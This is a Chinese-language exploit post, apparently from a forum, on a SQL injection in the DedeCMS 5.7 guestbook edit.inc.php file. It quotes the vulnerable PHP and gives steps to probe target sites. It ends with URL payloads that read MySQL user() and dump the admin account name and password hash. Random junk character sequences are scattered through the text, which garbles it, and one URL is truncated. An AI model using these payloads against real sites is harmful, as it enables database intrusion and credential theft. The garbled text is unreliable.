影响版本为5.73 {% t9 r7 Z# U+ t/ T/ g
6 h/ K' a! T0 W$ ^
漏洞文件edit.inc.php具体代码:7 L# S( }9 k" n
D! E e: p" x( e( S# J
< ?php
9 k4 O# X! a/ o# } H5 }& u( P9 M7 T: C) K5 |; C( B8 l" @
if(!defined('DEDEINC')) exit('Request Error!');
; Q5 W g# v* W% U7 f! ^" b5 P5 n5 H% r- d; D: P4 W
: T+ w' C) b9 @ S# [; u
9 l6 T8 G3 R i+ d3 ?
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; 3 T: _( \" [6 s. [) _
: p4 G5 q0 r' z3 D/ q
else $GUEST_BOOK_POS = "guestbook.php"; - C5 m% m5 O- n/ F, e
/ A3 p, i+ D% u$ q+ N
/ X0 @/ W7 r4 W: X6 h/ T0 Z1 u% V" q, P2 e+ m5 m
$id = intval($id);
1 T% a2 `: \/ z3 ]4 P# t1 S- a/ q; ~+ v& D/ } j
if(empty($job)) $job='view'; ( A9 i$ k" \8 M7 b' E. k
$ } u" D: `$ I$ ~. o0 M
- j/ M/ f' j% L# X4 V: f8 {- O" W
if($job=='del' && $g_isadmin) / m. r) Q4 c) L8 A+ F8 R0 B
6 i0 G0 T6 ~; t! \7 L. z/ f/ S{
" I2 t) l% \% ?1 h# J/ H0 g* U h. O/ c# k/ T! {6 i: P
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
$ _+ w$ X5 R. c7 N2 ]% O O# u6 L1 D8 i" _; K
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); # v" J% K/ \! S# t4 P
0 i, F7 C7 n5 F% ]
exit(); , e- f7 W; L' l/ B. o) |4 M
9 z. L V0 s' x! r. {; t9 E
} / K. n4 [' I, j+ r Z
- y* b( \4 E3 \+ T) Q$ pelse if($job=='check' && $g_isadmin) / c# i: Q4 h' l( B3 ^
0 }' f4 g' m$ b- k( d. K{
# I( r+ f- F! b' P' c7 J, ~/ S9 @) Z2 A2 B
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); : N. ?7 ~* u7 Y" ?
2 `* Q) k6 }# H9 e. t, H4 |ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); * a; K, b7 A/ e" c8 F3 a
2 v1 s! C8 \6 A5 M! Z \* f
exit(); ) @4 z* i6 [* u f
4 Y/ D7 @! ^6 J7 n; R7 I$ \}
- H# k @% t! ~( k3 ^( P* U
4 Q- h9 u# \% Q( f& Y `3 w4 P# selse if($job=='editok') : W B7 t3 z- s8 c4 A u
# M# f v% n1 W
{ / }1 P1 O ?0 A9 g( i1 U
: u i" }. R' K' j, L$remsg = trim($remsg); ) t1 K- n* |. |/ r% [) h, w! p9 y5 g6 J
/ m& i' m0 @' Aif($remsg!='')
. z; V& b) w: ]4 x; Q
" }# k$ V/ H* W{ 0 K, Y" ~2 @; h' ~! e7 M) B
$ F: h( G2 _1 V. H//管理员回复不过滤HTML By:Errorera blog:errs.cc & Y+ \6 }2 z! I( y6 s9 x5 ^ q
% v+ ^& L3 J+ \0 L" q2 M) ^ @if($g_isadmin)
3 d" f# x* @. q1 J+ O; {% H- L0 f6 [4 _! S. {. y% [
{ . v) x! G! S) n0 Y% I5 z Z( g8 O
' R) g6 L/ Q0 X
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; # P, Y/ ?: V1 r
, q* v( C: A8 d) W8 @
//$remsg <br /><font color=red>管理员回复:</font> } ' e/ |5 d; l( I( I- ^ T
) x7 r' E. I, H" e# S
else ) d- r4 a7 N5 s1 E' _3 A
) C& k# \- A# M, T; v o{ ) i" ?3 _7 d. g& ]* b1 T$ i1 g
: D0 u0 \( \' s" K* Q6 ~$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
5 m$ X0 v3 I6 v8 X1 P _5 {
+ L! }# I7 ^% |' H7 i+ _$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
# T3 r6 N1 h6 L0 s9 |2 I2 F' h% r% T2 c
$remsg = trimMsg(cn_substrR($remsg, 1024), 1); x2 u# v4 M2 V! K5 p- ?9 C
3 ?6 v" p! q' [3 \5 g
$msg = $oldmsg.$remsg; 4 H0 i z" X2 G' }' ^2 l
. @2 f0 J+ q% @# J
} * n8 H ~8 X+ ]) X1 x
5 k8 |9 y5 v5 m) F}
- s" r8 F+ J! r6 u( k( I
; v0 t0 k( Q+ J v//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc " z+ F2 E% N; p# n
- `- _; w. a. ?$ c- M5 H$ `" \4 C
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); c0 `$ M8 E- y
/ V! D, R: z- HShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); $ Z5 |( p0 v) ]5 E) \; |
' x* v2 Y1 z# K0 \exit(); 6 ~) O i4 S6 C6 Y; ~
7 s0 ^9 d4 d" t7 g; E) T0 U} ! G# x& H2 t0 L
0 R* W5 s8 J9 L2 x. w- }' d//home:www.errs.cc
8 K- m! o1 z4 D# M/ W; [. Q7 z
) {! a% o F, e/ vif($g_isadmin) / z+ p) V; m, f! Q+ ] }
! d! O2 X' P/ i$ o! }. ]7 d
{ * F* E0 @6 W% w
, j# e1 R" {) h+ o* x- n$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); * C' T' W D# g$ y% M
+ X6 N, C& }9 E. A0 Y
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); . j5 Q/ @- j5 [% }8 r
. a4 c& D( I) `7 ^6 F
}
; D5 N, J1 z, @6 T) T; d. q) T* v1 g- a) f! y
else M2 F6 Y0 M7 | ]5 @! m8 ?: I+ N
/ U! r3 W- _% ~, V
{
7 \7 F) _) \5 C% B7 ?& s m& h
! N: `5 a C( N$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); 1 T/ z4 |6 L1 A4 G f% F
% ~4 A. R" c# [2 [require_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); & e1 M) K0 H; p; Y* \ y
m2 R, | `& V, P7 W} 漏洞成功需要条件:* A; y4 l; }. K! `
1. php magic_quotes_gpc=off. z2 u$ |6 o6 ~5 [2 C
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
$ h0 H9 E" s2 ], w0 M
) w" ^6 b9 J. w" `0 q! Y怎么判断是否存在漏洞:
9 f y/ V6 `$ }, P) D( @% E先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
( X+ X: ]/ ?- }' a, B1 d' D7 [3 q然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
+ T H) ?" w, L2 B) _3 K6 {) C访问:
* N6 Q+ ^3 }, b6 g& r; H
% B% z8 U' ~7 H* _5 @www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了6 {) m. o3 _, b: C
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
. R- H6 N2 K( p! f5 O/ J ~# `
/ S) k# _7 S8 P6 \! K
9 M& c# c! p* y4 D4 F; \明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
, B9 s$ D7 R, Y/ i% ^) D: @如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
- h: ]! |3 Z4 M2 Y( [" t那么再次访问
8 _. t; G7 a7 U! b
6 @7 x; y4 k. h6 D, vwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
7 t8 u6 f; H b) d) _' p5 _( m/ Y9 ^/ }" f
大概利用就是这样,大家有兴趣的多研究下!!
( `) X B, e9 w, k3 v! T( D# I! j. J* x6 `# V ^
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
3 M0 [5 _' Y6 s8 L4 D9 w0 b. M: d
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |